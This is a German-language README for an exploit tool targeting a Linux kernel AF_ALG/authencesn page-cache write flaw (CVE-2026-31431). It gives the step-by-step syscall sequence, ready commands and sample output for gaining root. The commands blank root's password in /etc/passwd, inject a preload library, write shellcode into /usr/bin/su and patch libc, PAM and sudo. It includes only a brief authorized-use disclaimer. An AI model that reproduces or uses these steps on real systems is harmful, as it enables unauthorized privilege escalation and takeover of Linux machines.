
Exploit für CVE-2026-31431, eine AF_ALG-AEAD-Page-Cache-Schreibschwachstelle im Linux-Kernel, die unprivilegierten beliebigen 4-Byte-Schreibzugriff auf lesbare Dateien zur lokalen Privilegienausweitung ermöglicht.
Linux-Kernel-Page-Cache-Schreibfehler (AF_ALG AEAD Scatterlist-Verkettungsfehler)
Die algif_aead-Schnittstelle des Linux-Kernels weist eine Schwachstelle auf, die es unprivilegierten Benutzern ermöglicht, beliebige Daten in den Page Cache (Seitencache) beliebiger lesbarer Dateien zu schreiben – unter vollständiger Umgehung von Dateiberechtigungsprüfungen, Mandatory Access Control (MAC) und Integritätsprüfungen.
Der Dateiinhalt auf der Festplatte ändert sich nicht, aber alle Prozesse, die die Datei danach lesen (einschließlich SUID-Programme, dynamischer Linker, execve() usw.), sehen die vom Angreifer manipulierte Version, bis der Page Cache freigegeben wird.
| Element | Beschreibung |
|---|---|
| Subsystem | crypto/algif_aead.c |
| Algorithmus | authencesn(hmac(sha256),cbc(aes)) |
| Kernel-Konfiguration | CONFIG_CRYPTO_USER_API_AEAD=y/m (bei fast allen gängigen Distributionen standardmäßig aktiviert) |
| Erforderliche Berechtigungen | Keine – nur Leserecht auf die Zieldatei erforderlich |
| Schweregrad | Lokale Rechteausweitung → root |
| Betroffene Distributionen | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE usw. |
Bei der AEAD-Entschlüsselung über AF_ALG:
sendmsg() + MSG_MORE die zugehörigen Authentifizierungsdaten (AAD), die ein vom Angreifer kontrolliertes 4-Byte-seqno_lo enthalten.splice() werden die Page-Cache-Seiten der Zieldatei in die Sende-Scatterlist (TX SGL) des Kernel-Krypto-Subsystems injiziert.sg_chain.authencesn-Algorithmus schreibt seqno_lo an den Offset assoclen + cryptlen der Ziel-Scatterlist – eine Position, die über den Empfangspuffer hinaus direkt in die verknüpfte Page-Cache-Seite fällt.EBADMSG zurück, aber der Page Cache wurde bereits manipuliert. sendmsg (AAD) splice (Dateiseite)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX-Puffer │─────────────▶│ Page-Cache-Seite │
│ 8 Bytes │ │ (Dateiinhalt) │
└──────────┘ └──────────────────────┘
▲
│
authencesn schreibt hier seqno_lo
Offset = assoclen + cryptlen
════ Hier liegt die Schwachstelle ════
seqno_lo werden vollständig vom Angreifer in der AAD kontrolliert (was geschrieben wird)splice bestimmt den Offset des Schreibvorgangs im Page Cache (wo geschrieben wird)# Manipuliert den Page Cache von /etc/passwd, entfernt das root-Passwort, führt automatisch su root aus
./exploit.py escalate
Ablauf:
/etc/passwd nach /tmp/.passwd.bakroot:x:0:0:root:... zu root::0:0:root :...su root auf (ohne Passwort)Beispielausgabe:
[*] CVE-2026-31431 — Copy Fail
[*] Modus: root-Passwort über /etc/passwd entfernen
[*] Sicherung: /tmp/.passwd.bak
[*] Vorher : root:x:0:0:root:/root:/bin/bash
[*] Nachher : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Erfolg: root::0:0:root :/root:/bin/bash
[*] Wiederherstellung: echo 3 > /proc/sys/vm/drop_caches
[*] Ausführen: su root (kein Passwort erforderlich)
# Grundsyntax
./exploit.py write <Dateipfad> <Offset> <Daten>
# Payload aus Binärdatei lesen
./exploit.py write <Dateipfad> <Offset> @payload.bin
# Shellcode in den Einstiegspunkt eines SUID-Programms schreiben
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# Pfad einer Preload-Bibliothek injizieren
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# libc-Funktion manipulieren (z. B. getuid() 0 zurückgeben lassen)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# Methode 1: Alle Page Caches leeren, ursprünglichen Inhalt von der Festplatte wiederherstellen
echo 3 > /proc/sys/vm/drop_caches
# Methode 2: Neustart
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_Schlüsselblob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → Anfrage-fd
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ Authentifizierungsschlüssel (16 Bytes, alle Null) │
├─────────────────────────────────────────────┤
│ Verschlüsselungsschlüssel (16 Bytes, alle Null) │
└─────────────────────────────────────────────┘
Der Schlüsselwert ist irrelevant – der HMAC schlägt zwangsläufig fehl, aber der unbefugte Schreibvorgang erfolgt bereits vor der Prüfung.
Schritt 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = zu schreibender Wert
cmsg = [OP=DECRYPT, IV=alle Null, ASSOCLEN=8],
flags = MSG_MORE)
Schritt 2: pipe_r, pipe_w = pipe()
Schritt 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
Schritt 4: splice(pipe_r → req_fd, count = file_offset + 4)
Schritt 5: recv(req_fd, ASSOC_LEN + file_offset)
→ löst authencesn-Entschlüsselung aus
→ seqno_lo wird an dst-SGL-Offset assoclen + cryptlen geschrieben
→ dieser Offset fällt auf file_offset in der Page-Cache-Seite
→ HMAC schlägt fehl, gibt EBADMSG zurück
→ Page Cache wurde bereits manipuliert ✓
dst-SGL-Layout:
[0 .. 7] → RX-Puffer (AAD-Empfangsbereich)
[8 .. 8 + file_offset + 3] → Page-Cache-Seite (per splice injiziert)
Schreibposition von seqno_lo:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= file_offset im Page Cache
∴ Angreifer kontrolliert file_offset → kontrolliert die Schreibposition
Angreifer kontrolliert seqno_lo → kontrolliert den Schreibinhalt
.
├── exploit.py # Eigenständiges Exploit-Skript (nur Python 3 + Linux erforderlich)
└── README.md # Diese Datei
Dieses Tool dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Die unbefugte Verwendung dieses Tools zum Angriff auf Systeme anderer ist rechtswidrig. Der Benutzer trägt die alleinige rechtliche Verantwortung.
| Einschränkung | Beschreibung |
|---|
| Leserecht | Die Zieldatei muss für den aktuellen Benutzer lesbar sein (O_RDONLY) |
| Ausrichtung | Jeder Schreibvorgang ist 4 Bytes; ein unvollständiges Ende wird mit 0x90 aufgefüllt |
| Dateigröße | Die Dateigröße muss ≥ Offset + Datenlänge + 4 Bytes betragen |
| Nur Page Cache | Der Dateiinhalt auf der Festplatte wird nicht verändert |
| Persistenz | Gültig, bis der Page Cache freigegeben oder manuell geleert wird |
| Kernel-Konfiguration | Erfordert AF_ALG + authencesn (bei gängigen Distributionen standardmäßig vorhanden) |
| Angriffspfad | Zieldatei | Wirkung |
|---|
| root-Passwort entfernen | /etc/passwd | su root ohne Passwort |
| Preload-Bibliothek injizieren | /etc/ld.so.preload | Alle Programme laden bösartige .so |
| SUID-Programm manipulieren | /usr/bin/su usw. | Shellcode ausführen, root-Shell erhalten |
| libc manipulieren | /usr/lib/libc.so.6 | Funktionen wie getuid() kapern, 0 zurückgeben |
| PAM-Modul manipulieren | /usr/lib/security/pam_unix.so | Alle Authentifizierungen umgehen |
| sudo manipulieren | /usr/bin/sudo | Beliebiger Benutzer erhält direkt root |